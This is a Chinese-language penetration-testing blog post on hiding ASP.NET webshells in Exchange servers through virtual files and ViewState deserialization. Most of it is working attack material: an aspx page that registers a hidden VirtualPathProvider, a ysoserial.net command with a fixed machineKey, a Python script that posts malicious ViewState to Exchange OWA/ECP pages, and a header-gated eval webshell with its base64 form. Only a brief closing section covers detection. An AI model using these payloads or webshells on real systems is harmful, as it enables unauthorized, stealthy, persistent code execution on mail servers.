Good in study, attitude and health

渗透技巧——利用虚拟文件隐藏ASP.NET Webshell

0x00 前言


通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.netGhostWebShell.cs提供了一种可供学习的利用思路。

本文将要介绍虚拟文件的利用方法,在ysoserial.netGhostWebShell.cs基础上介绍Exchange下的利用方法,开源代码,记录细节,给出防御建议。

0x01 简介


本文将要介绍以下内容:

  • VirtualPathProvider在Exchange下的利用
  • DotNet反序列化在Exchange下的利用
  • 防御检测

0x02 VirtualPathProvider在Exchange下的利用


参考资料:

https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8

在实现上需要继承VirtualPathProvider类并重写两个方法:FileExists和GetFile,注册VirtualPathProvider并创建实例后,实现虚拟文件的创建

示例代码:

<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %>
<%@ Import Namespace="System.Web.Hosting" %>
<%@ Import Namespace="System.Web.Compilation" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">

    public class DeferredPathProvider : VirtualPathProvider
    {
        public DeferredPathProvider() : base()
        {
        }

        public bool IsTargetVirtualPath(string virtualPath)
        {
            string path = VirtualPathUtility.ToAppRelative(virtualPath);
            return path.StartsWith("~/deferred", StringComparison.InvariantCultureIgnoreCase);
        }

        public override VirtualFile GetFile(string virtualPath)
        {
            if (IsTargetVirtualPath(virtualPath))
            {
                return new DeferredVirtualFile(this, virtualPath);
            }
            else
            {
                return Previous.GetFile(virtualPath);
            }
        }

        public override bool FileExists(string virtualPath)
        {
            return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);
        }
    }

    public class DeferredVirtualFile : VirtualFile
    {
        DeferredPathProvider provider = null;

        public DeferredVirtualFile(DeferredPathProvider provider, string virtualFile) : base(virtualFile)
        {
            this.provider = provider;
        }

        public override Stream Open()
        {
        Stream stream = new MemoryStream();

        StreamWriter writer = new StreamWriter(stream);
        writer.Write("<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n" +
            "<% Response.Write(\"Compiled on the fly :)\"); %>");
        writer.Flush();
        stream.Seek(0, SeekOrigin.Begin);

        return stream;
        }
    }

    private Page handler = null;
    public void Page_Load()
    {
        DeferredPathProvider provider = new DeferredPathProvider();
        typeof(HostingEnvironment).GetMethod("RegisterVirtualPathProviderInternal",
        BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)
        .Invoke(null, new object[] { provider });
        
        handler = (Page) BuildManager.CreateInstanceFromVirtualPath("~/deferred.aspx", typeof(Page));
        handler.ProcessRequest(HttpContext.Current);
    }

    protected override void Render(HtmlTextWriter writer)
    {
    }
</script>

注:

代码来自https://kernel32.org/posts/evading-anti-virus-by-using-dynamic-code-generation-and-reflection/

在Exchange上进行如下测试:

保存位置:%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\test1.aspx

访问url:https://<url>/owa/auth/test1.aspx/deferred.aspx,返回结果:Compiled on the fly :),虚拟文件被成功访问

注:

虚拟文件的可访问路径为:https://<url>/owa/auth/test1.aspx/<任意字符>

创建虚拟文件时,会在临时目录下产生编译文件,默认位置:C:\Windows\Microsoft.NET\Framework64|Framework\<version>\Temporary ASP.NET Files\owa\<hash1>\<hash2>\

文件名称:test1.aspx.<hash3>.compiled

如果删除原文件test1.aspx,那么虚拟文件也随之失效,无法访问

通过这种方式实现的Webshell,虽然能够隐藏真实的文件内容,但是需要依赖文件,容易被清除,隐蔽性不够

而利用ysoserial.netGhostWebShell.cs恰恰能够解决这个问题,提高隐蔽性。

0x03 DotNet反序列化的利用


参考代码:

https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs

测试环境:

获得了Exchange文件读写权限,能够修改%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config,设置machineKey的内容如下:

<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />

对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据

这里选择%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx,对应的generator为042A94E8

使用ysoserial.net生成ViewState的参数如下:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "ghostfile.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

使用如下代码发送ViewState:

# encoding: UTF-8
import requests
import re
import sys
import os
import json
import urllib3
urllib3.disable_warnings()

from urllib.parse import quote
import urllib.parse

if __name__ == '__main__':
    if len(sys.argv)!=4:
        note = '''
Usage:
    <url> <key> <path>
<path>: owa or ecp

eg.    
    {0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
    {1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp    
        '''
        print(note.format(sys.argv[0],sys.argv[0]))
        sys.exit(0)
    else:
        targeturl = "";
        generator = ""; 
        try:
            if sys.argv[3] == "owa":
                targeturl = "https://" + sys.argv[1] + "/owa/auth/errorFE.aspx";
                generator = "042A94E8";

            elif sys.argv[3] == "ecp":
                targeturl = "https://" + sys.argv[1] + "/ecp/auth/TimeoutLogout.aspx";
                generator = "277B1C2A";
            else:
                print("[!] Wrong input");

            print("[*] TargetURL: " + targeturl)

            out_payload = "<ViewState Data>"

            body = {"__VIEWSTATEGENERATOR": generator,"__VIEWSTATE": out_payload}
            postData = urllib.parse.urlencode(body).encode("utf-8")

            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx",
                "Content-Type":"application/x-www-form-urlencoded"
            } 
            status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)

            print(status.status_code)
            print(status.headers)
            print(status.text) 

        except Exception as e:
            print("[!] Error:%s"%(e))
            exit(0)

访问https://<url>/owa/auth/fakepath31337/<任意字符>.aspx,返回结果:This is the attacker's file - running on the server if this 1337 is 1337.,虚拟文件被成功访问

这种方式不需要依赖文件,提高隐蔽性

接下来修改GhostWebShell.cs实现Webshell的功能

将虚拟目录设置为根目录,访问的url示例:https://<url>/owa/auth/<任意字符>.aspx

为了避免意外访问,需要添加访问条件,填入Header判断,如果不满足条件跳转至错误页面errorFE.aspx

一句话的测试代码:

<%@ Page Language="Jscript"%><%
if(Request.Headers["Value"]=="00HGAT3K0AXHV2RF2W0G")
{
eval(Request.Item["antsword"],"unsafe");	
}
else
{
Response.Redirect("/owa/auth/errorFE.aspx?httpCode=404");
}
%>

使用AntSword连接时,需要设置HTTP HEADERS,内容如下:

Name:  Value
Value: 00HGAT3K0AXHV2RF2W0G

Base64后的字符为:PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=

替换GhostWebShell.cs中的webshellContentsBase64

完整的Python实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/ExchangeDeserializeShell-NoAuth-ghostfile.py

代码支持两个位置的反序列化执行,分别为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx,能够自动生成带有Webshell功能的GhostWebShell.cs,使用ysoserial.net生成ViewState并发送

完整的C#实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ghostfile.cs

代码功能同上,可直接编译并执行,不再依赖ysoserial.net

注:

为了便于在Exchange下进行测试,我将GhostWebShell.cs修改成了aspx文件,可以直接访问进行测试,代码地址如下:

https://github.com/3gstudent/test/blob/master/PageLoad_ghostfile.aspx

0x04 防御检测


利用虚拟文件创建的ASP.NET Webshell,不再需要写入aspx文件,在防御上可监控临时目录下产生的编译文件,默认位置:C:\Windows\Microsoft.NET\Framework64|Framework\<version>\Temporary ASP.NET Files\owa\<hash1>\<hash2>\

需要注意的是攻击者在产生编译文件后可以进行删除

0x05 小结


本文介绍了虚拟文件的利用方法,针对Exchange环境,分别介绍了VirtualPathProvider和DotNet反序列化的利用,给出防御建议。


LEAVE A REPLY